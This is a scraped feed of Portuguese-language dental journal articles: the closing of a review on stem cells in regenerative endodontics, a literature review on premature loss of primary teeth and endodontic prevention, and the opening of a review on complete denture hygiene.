<p class="wp-block-paragraph">O caso apresentado, apesar de promissor, foi um dos pioneiros na Endodontia Regenerativa realizada com o auxílio de andaimes. Todo o processo, de forma geral, acaba se tornando longo e difícil, por conta de todos os processos que são fulcrais para o sucesso da técnica. O fato de serem necessárias diversas etapas laboratoriais tornam essa técnica muito delicada e custosa, financeiramente, o que pode impedir que o procedimento possa ser realizado fora do ambiente acadêmico. Ainda assim, há a esperança de que dentes antes considerados “mortos” possam voltar à vitalidade, o que acompanha os novos preceitos da Odontologia como um todo, que é a preservação do elemento.</p>



<p class="wp-block-paragraph"><strong>7. Considerações Finais</strong></p>



<p class="wp-block-paragraph">A partir dos expostos, considera-se que o uso de células tronco na Endodontia regenerativa é um novo paradigma na odontologia. Os resultados dos primeiros testes mostram resultados promissores em relação aos novos preceitos da área, que é preservar o elemento dentário sempre que possível. A técnica chamada REP é a que mostra mais viabilidade clínica, visto que precisa “apenas” de um estímulo ao sangramento do ápice dentário. Porém essa técnica apresenta algumas barreiras, como casos em que o ápice não é saudável para a formação do coágulo. Para suprir esses casos, a técnica guiada se mostra atraente, porém a complexidade de sua realização e os custos necessários fazem com que atualmente só seja aplicável a nível acadêmico. Sugere-se que mais estudos sejam feitos na área, com o fito de buscar a viabilidade do tratamento.</p>



<p class="wp-block-paragraph"><strong>8. Referências</strong></p>



<p class="wp-block-paragraph">AltaII, M.; Richards, L.; Rossi-Fedele, G. Histological assessment of regenerative endodontic treatment: a systematic review. Clinical Oral Investigations, v. 21, n. 2, p. 617–630, 2017.</p>



<p class="wp-block-paragraph">Almeida, L. F.; Sousa, R. S.; Pereira, M. M. Materiais biocerâmicos na endodontia regenerativa: revisão de literatura. Revista Brasileira de Odontologia, v. 76, n. 1, p. 45–52, 2019.</p>



<p class="wp-block-paragraph">American Association of Endodontists (AAE). Glossary of Endodontic Terms. Chicago: AAE, 2018. Disponível em: https://www.aae.org/specialty/clinical-resources/glossary-endodontic-terms/. Acesso em: 17 out. 2025.</p>



<p class="wp-block-paragraph">Biydlowski, S. P. et al. Células-tronco mesenquimais e sua utilização terapêutica. Revista Brasileira de Hematologia e Hemoterapia, v. 31, n. 1, p. 25–35, 2009.</p>



<p class="wp-block-paragraph">Caplan, A. I. Mesenchymal stem cells. Journal of Orthopaedic Research, v. 9, n. 5, p. 641–650, 1991. DOI: 10.1002/jor.1100090504. Disponível em: https://doi.org/10.1002/jor.1100090504. Acesso em: 17 set. 2025.</p>



<p class="wp-block-paragraph">Clarke, D. L. et al. Generalized potential of adult neural stem cells. Science, Washington, DC, v. 288, p. 1660–1663, jun. 2000. Disponível em: https://www.science.org/doi/10.1126/science.288.5471.1660.</p>



<p class="wp-block-paragraph">De Jesus Soares, A. et al. Apicificação: revisão de literatura. Brazilian Dental Journal, v. 23, n. 1, p. 45–50, 2012.</p>



<p class="wp-block-paragraph">De Stefano, J.; Zanetti, F. A.; Alvarez-García, J. A. Cell therapy in an adult patient with immature teeth: a case report and literature review. Journal of Clinical and Experimental Dentistry, Barcelona, v. 9, n. 4, p. e594–e601, abr. 2017.</p>



<p class="wp-block-paragraph">Evans, M. J.; Kaufman, M. H. Establishment in culture of pluripotential cells from mouse embryos. Nature, London, v. 292, n. 5819, p. 154–156, 1981. DOI: 10.1038/292154a0. Disponível em: https://doi.org/10.1038/292154a0. Acesso em: 17 set. 2025.</p>



<p class="wp-block-paragraph">Fliedner, T. M. Prologue to characteristics and potentials of blood stem cells. Stem Cells, New York, v. 16, supl. 1, p. 3–7, 1998. DOI: 10.1002/stem.160357. Disponível em: https://stemcellsjournals.onlinelibrary.wiley.com/doi/full/10.1002/stem.160357. Acesso em: 17 set. 2025.</p>



<p class="wp-block-paragraph">Gage, F. H. Mammalian neural stem cells. Science, Washington, DC, v. 287, p. 1433–1438, fev. 2000. Disponível em: https://www.science.org/doi/10.1126/science.287.5457.1433.</p>



<p class="wp-block-paragraph">Gatti, R. A.; Good, R. A. Bone marrow transplantation for severe combined immunodeficiency disease: reported from 1968 to 1977. Lancet, [s. l.], v. 2, n. 8089, p. 1366–1369, 1977. DOI: 10.1016/S0140-6736(77)92916-5. Disponível em: https://pubmed.ncbi.nlm.nih.gov/38963/. Acesso em: 21 set. 2025.</p>



<p class="wp-block-paragraph">Gomes, K. M. S. et al. Induced pluripotent stem cells reprogramming: epigenetics and applications in regenerative medicine. Associação Médica Brasileira, 2017. Disponível em: https://doi.org/10.1590/1806-9282.63.02.180.</p>



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<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>IMPACTOS DA PERDA PRECOCE DE DENTES DECÍDUOS E O PAPEL DO TRATAMENTO ENDODÔNTICO NA PREVENÇÃO</title>
		<link>https://revistaft.com.br/impactos-da-perda-precoce-de-dentes-deciduos-e-o-papel-do-tratamento-endodontico-na-prevencao/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Sun, 30 Nov 2025 14:48:51 +0000</pubDate>
				<category><![CDATA[Odontologia]]></category>
		<category><![CDATA[Volume 29 - Edição 152/NOV 2025]]></category>
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					<description><![CDATA[IMPACTS OF THE PREMATURE LOSS OF PRIMARY TEETH AND THE ROLE OF ENDODONTIC TREATMENT IN PREVENTION REGISTRO DOI: 10.69849/revistaft/cl10202511301153 Elisandra de Sousa Martins Alves1Lorrany Gonçalves Luiz1Mahaya Stephany Costa&#160;Falcão1Mírian Celerino dos Anjos Lima1Noemi Celerino dos Anjos1Pedro Henrique Leal Carneiro1Ruvia Carla Rodrigues Gonçalves Bélo1Elizeu da Silva Botelho2 Resumo&#160; A perda precoce de dentes decíduos pode comprometer o [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">IMPACTS OF THE PREMATURE LOSS OF PRIMARY TEETH AND THE ROLE OF ENDODONTIC TREATMENT IN PREVENTION</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202511301153</p>



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<p class="has-text-align-right wp-block-paragraph">Elisandra de Sousa Martins Alves<sup>1</sup><br>Lorrany Gonçalves Luiz<sup>1</sup><br>Mahaya Stephany Costa&nbsp;Falcão<sup>1</sup><br>Mírian Celerino dos Anjos Lima<sup>1</sup><br>Noemi Celerino dos Anjos<sup>1</sup><br>Pedro Henrique Leal Carneiro<sup>1</sup><br>Ruvia Carla Rodrigues Gonçalves Bélo<sup>1</sup><br>Elizeu da Silva Botelho<sup>2</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo&nbsp;</strong></p>



<p class="wp-block-paragraph">A perda precoce de dentes decíduos pode comprometer o desenvolvimento bucal infantil, afetando a oclusão, fala, mastigação e estética. Realizou-se uma revisão de literatura com 10 artigos publicados entre 2012 e 2024, selecionados pela plataforma SciELO, PubMed e Google Acadêmico. Esta revisão de literatura tem como objetivo abordar os impactos da perda precoce de dentes decíduos e a importância das intervenções endodônticas, destacando a eficácia de técnicas clínicas baseadas em evidências para a prevenção de alterações bucais. Concluiu-se que a atuação do cirurgião-dentista deve se pautar em condutas preventivas, educação familiar e domínio técnico de terapias conservadoras, assegurando a preservação dos dentes decíduos e contribuindo para a promoção da saúde bucal infantil.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Dentes Decíduos; Perda Precoce; Tratamento Endodôntico; Odontopediatria; Pulpectomia.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Abstract&nbsp;</strong></p>



<p class="wp-block-paragraph">The premature loss of primary teeth can compromise children&#8217;s oral development, affecting occlusion, speech, mastication, and aesthetics. A literature review was conducted with 10 articles published between 2012 and 2024, selected from the SciELO, Pub Med platform and Google Scholar. This literature review aims to address the impacts of premature loss of primary teeth and the importance of endodontic interventions, highlighting the effectiveness of evidence-based clinical techniques for the prevention of oral alterations. It was concluded that the dentist’s role should be guided by preventive approaches, family education, and technical mastery of conservative therapies, ensuring the preservation of primary teeth and contributing to the promotion of children’s oral health.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Primary Teeth; Premature Loss; Endodontic Treatment; Pediatric Dentistry; Pulpectomy.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">Os dentes decíduos desempenham papel crucial no desenvolvimento da criança, pois estão diretamente relacionados à mastigação, fonética, estética e manutenção de espaço para a dentição permanente. A perda precoce, geralmente associada a lesões cariosas extensas ou traumas, pode desencadear consequências significativas tanto funcionais quanto psicossociais (SILVA et al., 2020).&nbsp;</p>



<p class="wp-block-paragraph">O tratamento endodôntico, quando indicado, possibilita a preservação do dente decíduo até o período de esfoliação fisiológica, evitando complicações ortodônticas futuras (FERREIRA; SANTOS, 2019). Nesse contexto, compreender os impactos da perda precoce e reforçar a importância da endodontia em dentes decíduos é essencial para a prática clínica em odontopediatria.&nbsp;</p>



<p class="wp-block-paragraph">A relevância desse tema se deve ao fato de que a perda precoce de dentes decíduos é um problema frequente na infância e pode gerar consequências significativas para o desenvolvimento da oclusão, fala, mastigação e estética da criança. Compreender esse processo e o papel do tratamento endodôntico na prevenção dessas complicações permite aprimorar as práticas clínicas e promover uma abordagem mais preventiva na odontopediatria. Além disso, o estudo contribui para a formação de profissionais mais capacitados, capazes de intervir precocemente e garantir melhor qualidade de vida e saúde bucal às crianças (GUEDES, 2016).&nbsp;</p>



<p class="wp-block-paragraph">O presente estudo tem como objetivo revisar a literatura sobre os impactos da perda precoce de dentes decíduos, com ênfase nas alterações funcionais, ortodônticas e psicossociais, além de discutir o papel do tratamento endodôntico como medida preventiva essencial para a manutenção da saúde bucal infantil.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">Trata-se de uma revisão de literatura realizada por meio de levantamento bibliográfico nas bases SciELO, PubMed e Google Acadêmico. Foram incluídos artigos publicados entre 2012 e 2024, em língua portuguesa, que abordassem a perda precoce de dentes decíduos e o papel do tratamento endodôntico na sua prevenção.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O critério de exclusão foram estudos que não se relacionavam ao tema, não publicados em periódicos científicos ou disponibilizados exclusivamente em repositórios institucionais. Utilizaram-se os seguintes descritores: dentes decíduos, perda precoce, tratamento endodôntico e pulpectomia. Foram selecionados artigos dos tipos: revisão de literatura, ensaio clínico, revisão integrativa, revisão sistemática e capítulos de livros.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>REVISÃO DE LITERATURA&nbsp;</strong></p>



<p class="wp-block-paragraph">A fisiologia dos dentes decíduos é marcada pelo processo de rizólise, fenômeno essencial para que ocorra a esfoliação e posterior erupção dos dentes permanentes. Segundo Consolaro (2018), a reabsorção radicular decorre da apoptose de células dos tecidos duros, o que expõe a superfície radicular e permite a ação de clastos responsáveis pela reabsorção. O folículo do dente permanente exerce papel determinante nesse processo, pois libera mediadores como o EGF, capazes de acelerar a reabsorção radicular do dente decíduo à medida que o sucessor se desenvolve (CONSOLARO, 2015). Esse conjunto de eventos biológicos garante a renovação dentária adequada e evita retenções prolongadas.&nbsp;</p>



<p class="wp-block-paragraph">A migração dentária, por sua vez, é consequência comum quando ocorre perda precoce de dentes decíduos ou quando há alteração na cronologia da rizólise. Como afirmam Cunha, Almeida e Moura (2018), a ausência prematura de um decíduo rompe o equilíbrio do arco dentário, levando dentes adjacentes a migrarem para o espaço vazio, ocasionando perda de espaço e potenciais alterações oclusais. Essa movimentação indesejada pode comprometer o alinhamento futuro dos dentes permanentes e favorecer a instalação de maloclusões. Ainda conforme Ferreira e Santos (2019), a manutenção dos decíduos até o período fisiológico adequado é fundamental para preservar o espaço e assegurar o desenvolvimento harmonioso da oclusão.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">Para melhor apresentação do presente estudo foi elaborado um quadro com um apanhado geral das principais pesquisas relacionadas ao tema, como mostra na abaixo. O quadro apresenta de forma estruturada as referências dos artigos, o ano, o tipo de estudo e as conclusões obtidas em cada pesquisa englobando o período de 2012 a 2024. Esse formato proporciona uma visualização clara e simplificada dos dados, contribuindo para a análise comparativa e para a detecção de tendências e lacunas nos estudos sobre o tema.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1</strong> – Descrição resumida dos artigos selecionados para esse estudo.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td><strong>Autor(es)&nbsp;</strong></td><td><strong>Título do Artigo&nbsp;</strong></td><td><strong>Contribuições Principais&nbsp;</strong></td></tr><tr><td>Pinto et al. (2024)&nbsp;</td><td>Impactos da perda precoce de dentes&nbsp;decíduos: uma revisão integrativa da literatura&nbsp;</td><td>Enfatizam que a perda precoce compromete a oclusão e pode causar migração dentária, destacando a&nbsp;importância do uso de mantenedores de espaço e condutas preventivas.&nbsp;</td></tr><tr><td>Marçal et al. (2023)&nbsp;</td><td>Tratamento endodôntico em dentes decíduos: uma revisão de literatura&nbsp;</td><td>Ressaltam que o tratamento endodôntico é eficaz quando há até 1/3 de reabsorção radicular, sendo&nbsp;essencial para manter a função mastigatória. &nbsp;</td></tr><tr><td>Rosa et al. (2023)&nbsp;</td><td>Terapia endodôntica em dentes decíduos por odontopediatras&nbsp;</td><td>Descrevem a técnica LSTR como alternativa à pulpectomia, promovendo&nbsp;esterilização e reparo tecidual de forma minimamente invasiva.&nbsp;&nbsp;&nbsp;</td></tr><tr><td>Lindoso et al. (2024)&nbsp;</td><td>Uso da pasta CTZ no tratamento endodôntico de dentes decíduos&nbsp;</td><td>Demonstram alta taxa de sucesso clínico e radiográfico com o uso da pasta CTZ, destacando sua praticidade e baixo custo.&nbsp;&nbsp;&nbsp;</td></tr><tr><td>Gatti et al. (2012)&nbsp;</td><td>Etiologia da perda precoce de dentes decíduos&nbsp;</td><td>Identificam cárie dentária, trauma e anquilose como principais causas da perda precoce, com ênfase em medidas preventivas. &nbsp;</td></tr><tr><td>Costa et al. (2019)&nbsp;</td><td>Tratamento de traumas dentários em dentes decíduos&nbsp;</td><td>Enfatizam o papel dos tratamentos restauradores e endodônticos após traumas dentários para evitar perdas prematuras.&nbsp;&nbsp;</td></tr><tr><td>Guimarães&nbsp;et al. (2020)&nbsp;</td><td>Perda precoce de dentes decíduos: fatores&nbsp;envolvidos e implicações&nbsp;</td><td>Relatam as principais consequências da perda precoce e reforçam o valor da intervenção endodôntica precoce.&nbsp;</td></tr><tr><td>Almeida (2020)&nbsp;</td><td>Perda precoce de dentes decíduos e suas implicações&nbsp;</td><td>Aborda os impactos psicológicos e funcionais da perda precoce,&nbsp;enfatizando a importância da educação em saúde bucal.&nbsp;</td></tr><tr><td>Mendonça (2024)&nbsp;</td><td>Perda precoce de dentes decíduos e a preservação&nbsp;da dentição&nbsp;</td><td>Salienta que a manutenção dos dentes decíduos até a esfoliação fisiológica é vital para o desenvolvimento craniofacial.&nbsp;</td></tr><tr><td>Carneiro (2023)&nbsp;</td><td>Perda precoce de dentes decíduos: fatores&nbsp;envolvidos e implicações&nbsp;</td><td>Aponta cárie e traumatismo como principais causas de perda precoce e&nbsp;recomenda a prevenção e tratamento endodôntico como medidas-chave.&nbsp;</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte:&nbsp; Acervo dos autores, 2025.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>RESULTADOS E DISCUSSÕES&nbsp;</strong></p>



<p class="wp-block-paragraph">Os estudos analisados mostram que a perda precoce de dentes decíduos compromete o desenvolvimento bucal, causando migração dentária, perda de espaço, distúrbios de oclusão e prejuízos estéticos e funcionais.&nbsp;</p>



<p class="wp-block-paragraph">Autores como Gatti et al. (2012) e Carneiro (2023) destacam que as principais causas envolvem cáries extensas, traumas e anquilose, exigindo diagnóstico precoce e condutas preventivas.&nbsp;</p>



<p class="wp-block-paragraph">Segundo Pinto et al. (2024) e Mendonça (2024), a preservação dos dentes decíduos até a esfoliação fisiológica é fundamental para garantir o desenvolvimento harmonioso do arco dentário e prevenir futuras intervenções ortodônticas.&nbsp;</p>



<p class="wp-block-paragraph">A literatura também evidencia o papel crucial do tratamento endodôntico na manutenção dos dentes afetados. Marçal et al. (2023) destacam que a pulpectomia é indicada em casos de necrose pulpar com mínima reabsorção radicular, enquanto Lindoso et al. (2024) e Rosa et al. (2023) comprovam o sucesso de técnicas como a LSTR e o uso da pasta CTZ, ambas de caráter conservador e alta taxa de sucesso clínico.&nbsp;</p>



<p class="wp-block-paragraph">Além disso, Guimarães et al. (2020) e Almeida (2020) ressaltam que a preservação da dentição decídua não deve ser vista apenas sob o ponto de vista funcional, mas também emocional e psicológico, pois a estética e a autoconfiança infantil são afetadas pela perda dentária precoce.&nbsp;</p>



<p class="wp-block-paragraph">Assim, os resultados apontam que a associação entre prevenção, educação e tratamento endodôntico adequado é o caminho mais eficaz para evitar complicações da perda precoce, garantindo saúde bucal integral e qualidade de vida às crianças.&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.</strong> <strong>CONCLUSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A perda precoce de dentes decíduos é um problema comum e de grande impacto clínico e social. Os estudos revisados demonstram que a manutenção desses dentes até a esfoliação fisiológica é essencial para o desenvolvimento normal do sistema estomatognático. O tratamento endodôntico, quando corretamente indicado e executado, é uma medida eficaz na prevenção de alterações oclusais, estéticas e funcionais, além de promover bem-estar à criança.&nbsp;</p>



<p class="wp-block-paragraph">Portanto, a atuação do cirurgião-dentista deve se pautar em condutas preventivas, educação familiar e domínio técnico de terapias conservadoras, assegurando a preservação dos dentes decíduos e contribuindo para a promoção da saúde bucal infantil.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">ALMEIDA, A. P. L. <strong>Perda precoce de dentes decíduos e suas implicações.</strong>&nbsp;Repositório PGSSCOGNA, 2020. Disponível em:&nbsp;</p>



<p class="wp-block-paragraph">https://repositorio.pgsscogna.com.br/bitstream/12345678:9/45632/1/ANA_PAULA_LI MA_ALMEIDA.pdf. Acesso em: 01 out. 2025.&nbsp;</p>



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<p class="wp-block-paragraph">PINTO, L. R.; ALMEIDA, P. S.; MOURA, M. S. <strong>Impactos da perda precoce de dentes decíduos: uma revisão integrativa da literatura.</strong> <em>Revista REASE</em>, 2024. DOI:&nbsp;10.51891/rease.v10i11.16642.&nbsp;</p>



<p class="wp-block-paragraph">ROSA, A. C. et al. <strong>Terapia endodôntica em dentes decíduos por odontopediatras.</strong> <em>Revista Brasileira de Odontologia Pediátrica</em>, 2023. Disponível em: https://revcsaudeceuma.emnuvens.com.br/. Acesso em: 01 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SILVA, R. F.; OLIVEIRA, L. C.; SOUZA, K. G. <strong>Consequências psicossociais da perda precoce de dentes decíduos em crianças.</strong><em>Revista Brasileira de Odontologia Infantil</em>, v. 10, n. 3, p. 112-118, 2020.</p>



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<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Alunos da Faculdade Serra Dourada de Altamira- PA, 10º período. E-mail: grupodetrabalhoodonto@gmail.com<br><sup>2</sup>Graduado em Odontologia pela Universidade Federal do Pará campus Belém, Orientador Educacional De Odontologia da Faculdade Serra Dourada &#8211; Altamira, Brasil.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>OS IMPACTOS DOS HÁBITOS DE HIGIENE BUCAL NA LONGEVIDADE DA PRÓTESE TOTAL REMOVÍVEL: UMA REVISÃO DE LITERATURA</title>
		<link>https://revistaft.com.br/os-impactos-dos-habitos-de-higiene-bucal-na-longevidade-da-protese-total-removivel-uma-revisao-de-literatura/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Fri, 28 Nov 2025 16:15:22 +0000</pubDate>
				<category><![CDATA[Odontologia]]></category>
		<category><![CDATA[Volume 29 - Edição 152/NOV 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=254446</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202511281314 Paulina Barbara Pereira MamedePaulo Oliveira das ChagasLucileni Rodrigues BatistaOrientadores: Prof. Me. Fábio Zandona CunhaProf. Ricardo Erton de Melo Pereira da SilvaProfª. Claúdia Batista Vieira de Lima RESUMO Introdução: As próteses dentárias são dispositivos que visam reestabelecer forma, função e a estética do paciente desdentado parcial ou total. A presença das próteses na [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202511281314</p>



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<p class="has-text-align-right wp-block-paragraph">Paulina Barbara Pereira Mamede<br>Paulo Oliveira das Chagas<br>Lucileni Rodrigues Batista<br>Orientadores: Prof. Me. Fábio Zandona Cunha<br>Prof. Ricardo Erton de Melo Pereira da Silva<br>Profª. Claúdia Batista Vieira de Lima</p>



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<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph"><strong>Introdução:</strong> As próteses dentárias são dispositivos que visam reestabelecer forma, função e a estética do paciente desdentado parcial ou total. A presença das próteses na cavidade bucal provoca uma alteração em números de bactérias da microbiota bucal<strong>. </strong>Quando não são higienizadas da maneira adequada, as próteses se tornam uma considerável fonte de infecção para o paciente, que se torna uma preocupação ainda maior quando os mesmos são idosos. Uma vez que a má higiene pode agravar algumas alterações e/ou comprometimentos sistêmicos comumente presentes em pessoas de idades mais avançadas<strong>. Objetivo:</strong> Avaliar as diferentes consequências da falta de higienização da prótese total removível e protocolos na longevidade de próteses totais (PT). <strong>Metodologia: </strong>O estudo caracteriza-se em realizar uma revisão integrativa da literatura, acerca dos impactos dos hábitos de higiene bucal na longevidade da prótese total removível. Utilizou-se de artigos em bases de dados do Google Scholar, Scientific Eletronic Library Online (SciELO) e National Library of Medicine National Institutes of Health dos EUA (PubMed), em idiomas publicados em português e inglês, durante o intervalo de tempo de 2015 à 2025. <strong>Resultados esperados:</strong> Espera-se que a higienização adequada de próteses dentárias removíveis prolongue a vida útil dos aparelhos protéticos e a manutenção da saúde bucal dos pacientes. O método combinado, ou seja, método mecânico e químico apresenta-se como a alternativa de higienização de eleição para as próteses, por ser de fácil execução, viável e pouco dispendiosa.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Higiene Bucal; Prótese Total; Qualidade de Vida.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">As próteses dentárias são dispositivos que visam reestabelecer forma, função e a estética do paciente desdentado parcial ou total. É fundamental que o cirurgião-dentista realize um bom trabalho técnico na confecção das mesmas, e que após a sua instalação, o paciente receba instruções de higiene e acompanhamentos periódicos para garantir a manutenção da saúde bucal (Bastos <em>et al</em>; Goiato <em>et al</em>., 2015, 2005).</p>



<p class="wp-block-paragraph">A falta de higiene e cuidados com a saúde oral já é bastante comum de se encontrar e quando se trata dos pacientes usuários de prótese, seja total ou parcial, isso é ainda pior, porque esses pacientes já sofreram perdas dentárias anteriormente, e a maioria das perdas dentárias são por descuido com a saúde bucal, o que provoca cáries e doença periodontal (Batista <em>et al</em>, 2014).</p>



<p class="wp-block-paragraph">A literatura ressalta estes cuidados que devem ser tomados pós-instalação das próteses dentárias, pelo fato de que a simples presença das próteses na cavidade bucal provoca uma alteração em números de bactérias da microbiota bucal podendo desencadear uma maior formação de biofilme, aumentando a predisposição do paciente ao desenvolvimento de patologias, como as periodontopatias ou processos inflamatórios nos tecidos moles intraorais bucais (Bastos <em>et al</em>; Fonseca., 2015, 2007).&nbsp;</p>



<p class="wp-block-paragraph">Outro ponto que leva a discussão pode ser uma questão cultural que está pesando na hora de acatar as recomendações dos profissionais e também estão restringindo a participação efetiva na educação e promoção da saúde. Outro fato que pode estar acontecendo pode ser as ações coletivas de educação em saúde e promoção de saúde estão abaixo da necessidade para o território (Carli <em>et al</em>, 2007).</p>



<p class="wp-block-paragraph">Quando não são higienizadas da maneira adequada, as próteses se tornam uma considerável fonte de infecção para o paciente, que se torna uma preocupação ainda maior quando os mesmos são idosos. Uma vez que a má higiene pode agravar algumas alterações e/ou comprometimentos sistêmicos comumente presentes em pessoas de idades mais avançadas, como por exemplo influenciar diretamente no desenvolvimento ou evolução doenças cardiovasculares, diabetes e câncer (Gonçalves <em>et al</em>: Fonseca <em>et al</em>., 2011, 2021).</p>



<p class="wp-block-paragraph">As consequências da falta de higienização da prótese são muitas, desde problemas simples como manchamento, escurecimento da prótese, até problemas mais sérios como infecções fatais (Goiato <em>et al</em>, 2007).</p>



<p class="wp-block-paragraph">Outro fator que também predispõem ao maior risco de câncer de boca em usuários de prótese é o fato de haver constantes traumatismos na boca pela lesão direta e constante da prótese que não ficou bem ajustada e que piora gravemente quando a higiene não é boa. (Goiato <em>et al,</em> 2007).</p>



<p class="wp-block-paragraph">Os pacientes que possuem uma prótese mal adaptada não conseguem mastigar corretamente os alimentos, dessa forma não terão uma correta formação do bolo, podendo afetar a qualidade nutricional e sua saúde geral (Pereira, 2010).</p>



<p class="wp-block-paragraph">O simples fato de não higienizar a prótese já provoca um problema bastante constrangedor, a halitose, ou popularmente designado de mau hálito, porque a prótese proporciona uma superfície de contato perfeita para bactérias que se aderem e começa seu metabolismo além do que a interface da prótese e mucosa não está totalmente vedada, sendo um ótimo meio para as bactérias e fungos se acomodarem e começar a se multiplicar e invadir os tecidos.</p>



<p class="wp-block-paragraph">Por isso, vários métodos estão disponíveis e são indicados para a remoção do biofilme e manutenção da higiene nas próteses dentárias. Eles podem ser classificados em métodos mecânicos, que são a escovação associada a água e sabão neutro, ou métodos químicos que fazem o uso de agentes químicos como o hipoclorito de sódio, enzimas, ácidos concentrados e outros, para a imersão da prótese. Dentre estes, os mais utilizados e preconizados pela literatura são os métodos mecânicos, por ser simples, além de barato e eficiente (Gonçalves, 2011).</p>



<p class="wp-block-paragraph">Por fim, é perceptível que existe necessidade de exposição sobre o tema acerca dos hábitos e consequências. Dessa feita, o objetivo deste estudo é avaliar as diferentes consequências da falta de higienização da prótese total removível e protocolos na longevidade de próteses totais (PT).</p>



<p class="wp-block-paragraph"><strong>2. JUSTIFICATIVA&nbsp;</strong></p>



<p class="wp-block-paragraph">A importância do estudo desta temática, está na&nbsp; presença das próteses na cavidade bucal provoca uma alteração em números de bactérias da microbiota bucal podendo desencadear uma maior formação de biofilme, aumentando a predisposição do paciente ao desenvolvimento de patologias, como as periodontopatias ou processos inflamatórios nos tecidos moles intraorais bucais, quando não são higienizadas da maneira adequada, as próteses se tornam fonte de infecção para o paciente, que se torna uma preocupação ainda maior quando os mesmos são idosos podendo agravar algumas alterações e/ou comprometimentos sistêmicos comumente presentes em pessoas de idades mais avançadas, como por exemplo influenciar diretamente no desenvolvimento ou evolução doenças cardiovasculares, diabetes e câncer.</p>



<p class="wp-block-paragraph"><strong>3. OBJETIVOS</strong></p>



<p class="wp-block-paragraph"><strong>3.1 OBJETIVO GERAL</strong></p>



<p class="wp-block-paragraph">Avaliar as diferentes consequências da falta de higienização da prótese total removível e protocolos na longevidade de próteses totais (PT).</p>



<p class="wp-block-paragraph"><strong>3.2 OBJETIVOS ESPECÍFICOS&nbsp;</strong></p>



<ul class="wp-block-list">
<li>Relacionar as principais consequências da falta de higienização da prótese total removível;</li>



<li>Descrever estratégias para conscientização da população sobre a necessidade de higienização da prótese;</li>



<li>Fornecer protocolos para maior longevidade da prótese total removível;</li>



<li>Orientar profissionais da Odontologia os agravos que requerem tratamento específico.</li>
</ul>



<p class="wp-block-paragraph"><strong>4. REFERENCIAL TEÓRICO</strong></p>



<p class="wp-block-paragraph">Existe uma responsabilidade de higiene e cuidado da prótese, e é do paciente, mas ao que se trata de instrução e incentivo são obrigações do profissional. Desta forma os usuários de próteses devem ser conscientizados de que a prótese funciona como um reservatório de microrganismos patogênicos os quais devem ser prioritariamente eliminados.</p>



<p class="wp-block-paragraph">O estudo de intervenção é destinado a usuários de prótese total, que na sua maioria são pessoas acima de 40 anos, e pessoas a partir da quarta década de vida têm mais chance de adquirir lesões bucais com potencial maligno e que associado a próteses que não estão em harmonia com o sistema estomatognático, essa chance aumenta significativamente.</p>



<p class="wp-block-paragraph"><strong>4.1 MÉTODOS DE DESINFECÇÃO</strong></p>



<p class="wp-block-paragraph">De acordo com os estudos avaliados, os métodos de desinfecção de próteses removíveis enquadram-se em: métodos mecânicos, métodos químicos e o método combinado, o qual consiste na associação entre os métodos mecânicos e os químicos. Dentre os materiais utilizados destacam-se: escova protética macia, sabão neutro, água, hipoclorito de sódio, peróxidos alcalinos, ácidos, enzimas e gluconato de clorexidina.</p>



<p class="wp-block-paragraph"><strong>4.1.1 MÉTODO MECÂNICO</strong></p>



<p class="wp-block-paragraph">O método mecânico de limpeza das próteses consiste no uso da escova dental convencional ou elétrica combinada com outros agentes como: a água, o sabão neutro e dentifrício, fazendo parte desse grupo ainda, o uso do micro-ondas (Piranhos <em>et al</em>, 2007).</p>



<p class="wp-block-paragraph">A escovação é o método mecânico mais utilizado pelos pacientes e recomendado pelo cirurgião-dentista, considerado um método simples, barato e efetivo. Porém este método apresenta algumas desvantagens e limitações: a abrasão gerada sobre a base da dentadura (resina acrílica) e dentes artificiais pela escovação. As escovas utilizadas para a limpeza dos dentes naturais não deveriam ser as mesmas utilizadas para a limpeza protética (Kazuo <em>et al</em>, 2008).</p>



